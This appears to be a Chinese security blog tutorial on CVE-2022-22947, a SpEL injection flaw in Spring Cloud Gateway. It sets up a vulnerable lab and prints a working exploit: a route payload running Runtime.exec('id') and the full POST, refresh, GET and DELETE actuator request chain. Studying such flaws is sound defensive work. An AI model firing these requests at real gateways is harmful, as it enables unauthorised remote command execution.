前段时间 Spring Cloud Gateway 爆出了一个CVE-2022-22947 SpEL表达式注入的命令执行漏洞。
今天通过该漏洞来学习一下SpEL表达式漏洞的挖掘思路。
Spring Cloud Gateway是基于Spring Framework和Spring Boot构建的API网关,它旨在为微服务架构提供一种简单、有效、统一的API路由管理方式。
当Spring Cloud Gateway启用、暴露和不安全Gateway Actuator 端点时,攻击者可以通过向使用 Spring Cloud Gateway 的应用程序发送特制的恶意请求,触发远程任意代码执行。
漏洞版本:
Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7
以及旧的不受支持的版本
安全版本:
Spring Cloud Gateway >= 3.1.1
Spring Cloud Gateway >= 3.0.7
参考:
http://c.biancheng.net/springcloud/gateway.html
在漏洞分析之前先简单介绍一下Spring Cloud Gateway,
1. Route(路由)
由id、uri、predicates(列表)和filters(列表)组成2. Predicate(谓词)
根据请求方式、请求路径、请求头、参数等对请求进行匹配,匹配成功则将请求转发到相应的服务(uri)
注:
一个Route可以包含多个Predicate;
一个请求想要转发到指定的路由上,就必须同时匹配路由上的所有断言;
当一个请求同时满足多个路由的断言条件时,请求只会被首个成功匹配的路由转发。3. Filter(过滤器)
可以对请求和响应进行拦截和修改
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion><groupId>org.springcloud.gatway</groupId>
<artifactId>springcloud.gatway.demo</artifactId>
<version>0.0.1-SNAPSHOT</version><parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.4</version>
<relativePath/>
</parent><properties>
<java.version>1.8</java.version>
<spring-cloud.version>2021.0.1</spring-cloud.version>
</properties><dependencies>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter</artifactId>
<version>3.1.0</version>
</dependency>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-gateway-server</artifactId>
<version>3.1.0</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-webflux</artifactId>
<version>${parent.version}</version>
</dependency><dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
<version>${parent.version}</version>
</dependency>
</dependencies>
<dependencyManagement>
<dependencies>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-dependencies</artifactId>
<version>${spring-cloud.version}</version>
<type>pom</type>
<scope>import</scope>
</dependency>
</dependencies>
</dependencyManagement><build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build></project>
server:
port: 8808
spring:
management:
endpoint:
gateway:
enabled: false
cloud:
gateway:
# 开启打印请求包内容
httpclient:
wiretap: true
# 开启打印响应包内容
httpserver:
wiretap: true
routes:
- id: test
order: 1
uri: https://www.baidu.com
predicates:
- Query=bd # 只要发送过来的请求后面的参数为bd,则匹配成功跳转到uri(https://www.baidu.com)
- id: qt # 路由唯一标识,多个id不要重复即可
order: 0 # 数字越小,优先级越高
uri: https://www.qingteng.cn # 需要转发的路由地址
predicates: # 谓词规则的集合,需要全部匹配成功才能转发到uri
- Path=/wx-product-home.html # 只要发送过来的请求后面的path为/wx-product-home.html,则匹配成功,将path追加到uri后面(https://www.qingteng.cn/wx-product-home.html)
filters: # 过滤器
- AddResponseHeader=X-Response-QT, qingteng #添加响应头字段AddResponseHeader,值为X-Response-QT=qingteng
logging:
level:
org.springframework.cloud.gateway: TRACE
org.springframework.http.server.reactive: DEBUG
org.springframework.web.reactive: DEBUG
reactor.ipc.netty: DEBUG
reactor.netty: DEBUG
management.endpoints.web.exposure.include: '*'
getRoutes
-> convertToRoute
-> combinePredicates
-> lookup
-> getFilters
-> loadGatewayFilters
{
"id": "nosu",
"predicates": [
{
"name": "Path",
"args": {
"x": "x",
"y": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String(\"id\")).getInputStream()),\"utf-8\")}"
}
}
],
"uri": "http://127.0.0.1",
"order": 0
}
POST /actuator/gateway/routes/fudn HTTP/1.1
Host: 127.0.0.1:8808
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 283{"id": "fudn", "predicates": [{"name": "Path", "args": {"x": "x", "y": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String(\"id\")).getInputStream()),\"utf-8\")}"}}], "uri": "http://127.0.0.1", "order": 0}
Tips:
1. 这里是在predicates加入了SpEL表达式,用filters也是一样的,就不重复写了,下同;
2. 这里name的值要注意,要符合predicates的规则,filters同理;
3. 这里执行命令用的是Spring提供的工具类StreamUtils的copyToByteArray方法将Runtime执行命令后的输入流转换为字符串(new String(StreamUtils.copyToByteArray(Runtime.getRuntime().exec("cmd").getInputStream()), "utf-8"))。
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8808
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
GET /actuator/gateway/routes/fudn HTTP/1.1
Host: 127.0.0.1:8808
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
DELETE /actuator/gateway/routes/fudn HTTP/1.1
Host: 127.0.0.1:8808
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
学习更多技术,关注我: